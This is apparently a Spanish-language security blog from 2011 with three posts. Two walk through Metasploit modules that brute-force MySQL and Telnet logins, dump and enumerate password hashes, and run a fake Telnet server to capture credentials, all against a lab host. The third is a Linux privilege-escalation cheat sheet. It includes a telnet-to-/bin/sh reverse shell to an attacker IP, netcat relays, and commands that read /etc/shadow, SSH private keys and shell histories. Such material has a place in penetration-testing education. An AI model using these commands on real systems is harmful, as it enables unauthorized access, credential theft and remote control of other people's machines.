domingo, 21 de agosto de 2011

Módulos Auxiliares de Metasploit para MySQL

En esta entrada veremos algunos módulos auxiliares de MySQL para utilizar en Metasploit y que nos permitirán obtener información sobre la versión, realizar ataques de fuerza bruta, ejecutar consultas y obtener información útil.

Podemos encontrar estos módulos a través de la búsqueda en Metasploit:
msf > search type:auxiliary mysql


MySQL version scanner (mysql_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/mysql/mysql_version
msf  auxiliary(mysql_version) >


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable “RHOSTS”. La variable “RHOSTS” puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt). Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable “THREADS”.
msf  auxiliary(mysql_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_version) > set THREADS 5
THREADS => 5


Verificamos de nuevo las variables antes de proceder a ejecutar el módulo.
sf  auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.58.134   yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  5                yes       The number of concurrent threads

msf  auxiliary(mysql_version) > 


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(mysql_version) > run

[*] 192.168.58.134:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_version) > 



Autenticación en MySQL mediante ataque de fuerza bruta (mysql_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login
msf  auxiliary(mysql_login) > 


Veamos las variables disponibles de este módulo:
msf  auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf  auxiliary(mysql_login) > 


Este módulo intenta autenticarse contra una instancia de MySQL utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit no provee valores predeterminados para estas variables. Podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular.

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo.
msf  auxiliary(mysql_login) > set USER_FILE /root/wordlists/usernames.lst 
USER_FILE => /root/wordlists/usernames.lst
msf  auxiliary(mysql_login) > set PASS_FILE /root/wordlists/passwords.lst 
PASS_FILE => /root/wordlists/passwords.lst
msf  auxiliary(mysql_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_login) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_login) > 


Los intentos válidos se mostrarán en la consola con un color verde y los no-válidos de color rojo.
msf  auxiliary(mysql_login) > run

[*] 192.168.58.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 192.168.58.134:3306 MYSQL - [001/923] - Trying username:'admin' with password:''
[*] 192.168.58.134:3306 MYSQL - [001/923] - failed to login as 'admin' with password ''
[*] 192.168.58.134:3306 MYSQL - [002/923] - Trying username:'administrator' with password:''
[*] 192.168.58.134:3306 MYSQL - [002/923] - failed to login as 'administrator' with password ''
[*] 192.168.58.134:3306 MYSQL - [003/923] - Trying username:'backup' with password:''
[*] 192.168.58.134:3306 MYSQL - [003/923] - failed to login as 'backup' with password ''
[*] 192.168.58.134:3306 MYSQL - [004/923] - Trying username:'daemon' with password:''
...
[*] 192.168.58.134:3306 MYSQL - [039/923] - Trying username:'proxy' with password:'proxy'
[*] 192.168.58.134:3306 MYSQL - [039/923] - failed to login as 'proxy' with password 'proxy'
[*] 192.168.58.134:3306 MYSQL - [040/923] - Trying username:'root' with password:'root'
[+] 192.168.58.134:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[+] Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed



Ejecución de consultas SQL genéricas en MySQL (mysql_sql)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf  auxiliary(mysql_sql) > 


Este módulo nos permite ejecutar una simple consulta SQL contra una instancia MySQL. La consulta SQL predeterminada verificará la versión de la base de datos MySQL.

Veamos las opciones de este módulo auxiliar:

msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the specified username
   RHOST                       yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME                    no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Para la consulta se requiere utilizar las credenciales válidas descubiertas previamente con el módulo auxiliar “mysql_login”. Debemos establecer la variable “RHOST” como servidor de MySQL objetivo. “RHOST” debe establecerse como una dirección IP única.
msf  auxiliary(mysql_sql) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_sql) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD  root              no        The password for the specified username
   RHOST     192.168.58.134    yes       The target address
   RPORT     3306              yes       The target port
   SQL       select version()  yes       The SQL to execute.
   USERNAME  root              no        The username to authenticate as

msf  auxiliary(mysql_sql) >


Algunas consultas SQL para pruebas de penetración en MySQL se encuentran disponibles en el sitio web pentestmonkey.
msf  auxiliary(mysql_sql) > run

[*] Sending statement: 'select version()'...
[*]  | 5.0.51a-3ubuntu5 |
[*] Auxiliary module execution completed
msf  auxiliary(mysql_sql) > 



Obtención de hashes de contraseñas MySQL (mysql_hashdump)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_sql) > use auxiliary/scanner/mysql/mysql_hashdump
msf  auxiliary(mysql_hashdump) > 


Este módulo nos permite obtener los hashes de las contraseñas de usuarios almacenadas en las bases de datos MwSQL.

Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable "RHOSTS". La variable "RHOSTS" puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt).
msf  auxiliary(mysql_hashdump) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_hashdump) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(mysql_hashdump) > set THREADS 5
THREADS => 5
msf  auxiliary(mysql_hashdump) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOSTS    192.168.58.134   yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   5                yes       The number of concurrent threads
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > 


Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable "THREADS". También debemos utilizar credenciales válidas de MySQL, pueden ser las mismas obtenidas anteriormente con el módulo auxiliar "mysql_login".
msf  auxiliary(mysql_hashdump) > run

[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347
[+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] Hash Table has been saved: /root/.msf4/loot/20110821191208_default_192.168.58.134_mysql.hashes_615106.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_hashdump) > 



Enumeración en MySQL (mysql_enum)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf  auxiliary(mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum
msf  auxiliary(mysql_enum) > 


Este módulo auxiliar nos permitirá recolectar información útil de un servidor MySQL:

  • La versión de MySQL.
  • El sistema operativo del servidor MySQL.
  • La arquitectura del servidor.
  • El nombre de máquina.
  • La ubicación del directorio de datos MySQL.
  • Si el registro de las consultas e ingresos está activado, y la ubicación de los logs de MySQL.
  • Si el antiguo algoritmo de hashing de contraseñas está activado.
  • Si la carga de archivos locales (infile) se encuentra activada.
  • Si los ingresos con contraseñas antiguas (Pre-4.1.) están autorizados.
  • Si la opción “–skip-grant-tables” está activada.
  • Si están autorizados los enlaces simbólicos para ser utilizados como archivos de datos.
  • Si están permitidas las combinaciones de tablas.
  • Si la opción “–safe-show-database” está activada.
  • Si las conexiones SSL están habilitadas.
  • Todas las cuentas con sus hashes de contraseñas.
  • Todas las cuentas con privilegios “GRANT“, ”CREATE USER”, “RELOAD“, ”SHUTDOWN“, “SUPER“, “FILE” y “PROCESS”.
  • Todas las cuentas con privilegios “SELECT“, “INSERT“, “UPDATE“, “DELETE“, “CREATE” and “DROP”.
  • Todas las cuentas anónimas.
  • Todas las cuentas sin contraseña.
  • Todas las cuentas con acceso autorizado desde cualquier host.


Veamos las opciones de este módulo auxiliar:
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOST                      yes       The target address
   RPORT     3306             yes       The target port
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Para utilizar este módulo auxiliar es necesario que tengamos acceso a la base de datos con un usuario que tenga privilegios. También debemos establecer el valor de la variable "RHOST" con la dirección IP del servidor MySQL..
msf  auxiliary(mysql_enum) > set PASSWORD root
PASSWORD => root
msf  auxiliary(mysql_enum) > set RHOST 192.168.58.134
RHOST => 192.168.58.134
msf  auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_enum) > show options

Module options (auxiliary/admin/mysql/mysql_enum):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  root             no        The password for the specified username
   RHOST     192.168.58.134   yes       The target address
   RPORT     3306             yes       The target port
   USERNAME  root             no        The username to authenticate as

msf  auxiliary(mysql_enum) > 


Luego de establecer las variables ejecutamos el módulo:
msf  auxiliary(mysql_enum) > run

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] 	MySQL Version: 5.0.51a-3ubuntu5
[*] 	Compiled for the following OS: debian-linux-gnu
[*] 	Architecture: i486
[*] 	Server Hostname: metasploitable
[*] 	Data Directory: /var/lib/mysql/
[*] 	Logging of queries and logins: OFF
[*] 	Old Password Hashing Algorithm OFF
[*] 	Loading of local files: ON
[*] 	Logins with old Pre-4.1 Passwords: OFF
[*] 	Allow Use of symlinks for Database Files: YES
[*] 	Allow Table Merge: YES
[*] 	SSL Connections: Enabled
[*] 	SSL CA Certificate: /etc/mysql/cacert.pem
[*] 	SSL Key: /etc/mysql/server-key.pem
[*] 	SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*] 	List of Accounts with Password Hashes:
[*] 		User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: ubuntu804-base Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] 		User:  Host: localhost Password Hash: 
[*] 		User:  Host: ubuntu804-base Password Hash: 
[*] 		User: debian-sys-maint Host: localhost Password Hash: *E07F0A7CCC0044345116513C989F45663C1F8347
[*] 		User: root Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
...
[*] Auxiliary module execution completed


Fuente

Módulos Auxiliares de Metasploit para Telnet

Metasploit proporciona algunos módulos auxiliares para Telnet que nos permitirán analizar la versión en ejecución, realizar ataques de fuerza bruta y simular un servidor Telnet falso.

Podemos encontrar todos estos módulos auxiliares a través de la búsqueda en Metasploit:

msf > search type:auxiliary telnet


Telnet version scanner (telnet_version)

Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/telnet/telnet_version 
msf  auxiliary(telnet_version) > 


Veamos las variables disponibles de este módulo auxiliar:
msf  auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     23               yes       The target port
   THREADS   1                yes       The number of concurrent threads
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


En este caso solo tenemos que establecer la dirección IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP única, un rango de direcciones (192.168.1.0-192.168.1.255) una subred (192.168.1.0/24) o un archivo (/tmp/ip_addresses.txt). Si quisiéramos paralelizar los procesos del análisis de la versión, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. Para reducir el tiempo límite de conexión Telnet, reducimos el valor de la variable “TIMEOUT”.
msf  auxiliary(telnet_version) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134


Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf  auxiliary(telnet_version) > run

[*] 192.168.58.134:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Autenticación en Telnet mediante ataque de fuerza bruta (telnet_login)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/scanner/telnet/telnet_login 
msf  auxiliary(telnet_login) > 

Este módulo intenta autenticarse contra un servidor Telnet utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit proporciona archivos para las variables “USER_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) y "PASS_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). También podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular. 

Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo. Cada login y contraseña descubiertos crearán una sesión de Metasploit.

msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             23               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
msf  auxiliary(telnet_login) > 


Definamos las variables:
msf  auxiliary(telnet_login) > set PASS_FILE /pentest/exploits/framework/data/wordlists/unix_passwords.txt 
PASS_FILE => /pentest/exploits/framework/data/wordlists/unix_passwords.txt
msf  auxiliary(telnet_login) > set RHOSTS 192.168.58.134
RHOSTS => 192.168.58.134
msf  auxiliary(telnet_login) > set USER_FILE /pentest/exploits/framework/data/wordlists/unix_users.txt 
USER_FILE => /pentest/exploits/framework/data/wordlists/unix_users.txt
msf  auxiliary(telnet_login) > 


Verificamos de nuevo las variables antes de ejecutar el módulo:
msf  auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   true                                                           no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   PASSWORD                                                                         no        A specific password to authenticate with
   PASS_FILE         /pentest/exploits/framework/data/wordlists/unix_passwords.txt  no        File containing passwords, one per line
   RHOSTS            192.168.58.134                                                 yes       The target address range or CIDR identifier
   RPORT             23                                                             yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads
   USERNAME                                                                         no        A specific username to authenticate as
   USERPASS_FILE                                                                    no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true                                                           no        Try the username as the password for all users
   USER_FILE         /pentest/exploits/framework/data/wordlists/unix_users.txt      no        File containing usernames, one per line
   VERBOSE           true                                                           yes       Whether to print output for all attempts

msf  auxiliary(telnet_login) > 


Ejecutamos el módulo. Los inténtos válidos se mostrarán en verde y los inválidos en color rojo.
msf  auxiliary(telnet_login) > run

[*] 192.168.58.134:23 Telnet - [000001/109216] - Attempting: '':''
[*] 192.168.58.134:23 TELNET - [000001/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000001/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000002/109216] - Attempting: '4Dgifts':''
[*] 192.168.58.134:23 TELNET - [000002/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000002/109216] - Result:   Login incorrect metasploitable login:
[*] 192.168.58.134:23 Telnet - [000003/109216] - Attempting: 'EZsetup':''
[*] 192.168.58.134:23 TELNET - [000003/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:   Login incorrect 
...
[*] 192.168.58.134:23 Telnet - [000045/109216] - Attempting: 'msfadmin':'msfadmin'
[*] 192.168.58.134:23 TELNET - [000045/109216] - Banner: Ubuntu 8.04 metasploitable login:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password:
[*] 192.168.58.134:23 TELNET - [000045/109216] - Result:  Last login: Sun Aug 21 04:34:38 EDT 2011 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.  Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.  To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail.
[+] 192.168.58.134 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 1 opened (192.168.58.10:60805 -> 192.168.58.134:23) at 2011-08-21 04:43:46 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(telnet_login) > 



Emulador de servidor Telnet falso (telnet)

Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/server/capture/telnet 
msf  auxiliary(telnet) > 

Este módulo emula un servidor falso de Telnet con el fin de capturar credenciales de autenticación.
msf  auxiliary(telnet) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(telnet) > 


Cuando la víctima trata de iniciar una conexión Telnet a nuestro servidor falso, las credenciales serán capturadas:

msf  auxiliary(telnet) > 
[*] TELNET LOGIN 192.168.58.134:44277 darkoperator / P@ssw0rd
msf  auxiliary(telnet) > 


Fuente

sábado, 20 de agosto de 2011

Elevación de Privilegios en Linux (Cheat Sheet)

La siguiente Cheat Sheet es una recopilación de comandos básicos que nos pueden ayudar a realizar tareas de enumeración y obtención de información en sistemas Linux/Unix. No todos los comandos/parámetros funcionan con todas las distribuciones, asi que lo primero que hay que hacer es eso: identificar el sistema.


La Enumeración es la clave
La elevación de privilegios en Linux incluye:
  • Recolectar: Enumerar, enumerar y seguir enumerando.
  • Procesar: Ordenar los datos, analizarlos y priorizarlos.
  • Buscar: Saber que buscar, para qué y donde encontrar el código del exploit.
  • Adaptar: Personalizar el exploit, para que se ajuste. No todo exploit funciona para todo sistema "out of the box".
  • Probar: Prepararse para muuchas pruebas de ensayo y error.


Sistema Operativo

Qué distribución es? Qué versión?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
lsb_release -a


Cual es la versión del Kernel? Es de 64 Bits?
cat /proc/version  
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-


Qué se puede obtener de las variables de entorno?
cat /etc/profile
cat /etc/environment
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
cat /proc//environ
printenv 


Alguna impresora?
lpstat -a
lpc status
lpinfo



Aplicaciones y Servicios

Qué servicios están corriendo? Cual tiene privilegios de usuario?
ps aux
ps -ef
top
cat /etc/service
service --status-all
chkconfig --list


Qué servicios corren como root? Cuales son vulnerables?
ps aux | grep root
ps -ef | grep root


Qué aplicaciones están instaladas? Qué versión tienen? Están ejecutándose?
ls -alh /usr/bin/
ls -lah /sbin/
dpkg -l
rpm -qa
ls -lah /var/cache/apt/archivesO
ls -lah /var/cache/yum/


Alguna mala configuración en estos servicios? Hay plugins vulnerables?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


Hay tareas programadas?
crontab -l
ls -lah /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root


Usuarios y/o contraseñas en texto claro?
grep -i user [filename]
grep -i pass [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla



Comunicaciones y Redes

Quá adaptadores de red tiene el sistema? Conectado a otra red?
/sbin/ifconfig -a
cat /etc/network/interfaces
dmesg | grep 'Ethernet driver'


Cuales son las configuraciones de red? DHCP? DNS? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
route -n


Qué otros usuarios y máquinas se comunican con el sistema?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Que hay en caché? Direcciones IP y/o MAC
arp -e
route
/sbin/route -nee


Es posible la inspección de paquetes (sniffing)? Qué se puede observar? Escuchar tráfico en vivo
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Tenemos shell? Podemos interactuar con el sistema?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


Es posible el redireccionamiento de puertos? Redireccionar e interactuar con el tráfico desde otra vista
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [puerto local] -r [puerto remoto] -s [puerto local] [IP local]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [puerto local]:[IP remota]:[puerto remoto] [usuario local]@[IP local]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Puerto Local
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Puerto Remoto

# mknod backpipe p ; nc -l -p [puerto remoto] < backpipe  | nc [IP local] [puerto local] > backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Retransmisión de Puerto Port (Relay)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Puerto 80 a 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Monitor de Proxy (Puerto 80 a 8080)


Es posible hacer túnel? Enviar comandos localmente, remotamente
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig



Información Confidencial y Usuarios

Quien eres? Quien está o ha estado logueado? Quien mas está ahi? Quien puede hacer que?
id
who
w
last
cat /etc/passwd | cut -d:    # Lista de usuarios
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # Lista de super-usuarios
awk -F: '($3 == "0") {print}' /etc/passwd   # Lista de super usuarios
cat /etc/sudoers
sudo -l


Qué archivos sensibles podemos encontrar?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -lah /var/mail/


Algo "interesante" en los directorios /home? Es posible acceder a estos?
ls -ahlR /root/
ls -ahlR /home/


Hay contraseñas, scripts, bases de datos, archivos de configuración o de logs? Rutas por defecto y ubicaciones de contraseñas
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


Que ha estado haciendo el usuario? Hay alguna contraseña en texto claro? Que ha estado editando?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history


Qué información del usuario podemos encontrar?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Podemos encontrar información de llave privada?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


Sistemas de Archivos

Qué podemos modificar en /etc/? Podemos reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Todos
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Propietario
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Grupo
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Otros

find /etc/ -readable -type f 2>/dev/null               # Todos
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Todos


Qué podemos encontrar en /var/ ?
ls -lah /var/log
ls -lah /var/mail
ls -lah /var/spool
ls -lah /var/spool/lpd
ls -lah /var/lib/pgsql
ls -lah /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Alguna configuración/archivo oculto en el sitio web? Algún archivo de configuración con información de bases de datos?
ls -lahR /var/www/
ls -lahR /srv/www/htdocs/
ls -lahR /usr/local/www/apache22/data/
ls -lahR /opt/lampp/htdocs/
ls -lahR /var/www/html/


Algo en los archivos de logs? (Podría ayudar con "Local File Includes"!)
cat /var/log/messages
cat /var/log/secure
cat /var/webmin/miniserv.log
cat /var/log/cups/error_log
cat /var/log/chttp.log
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log


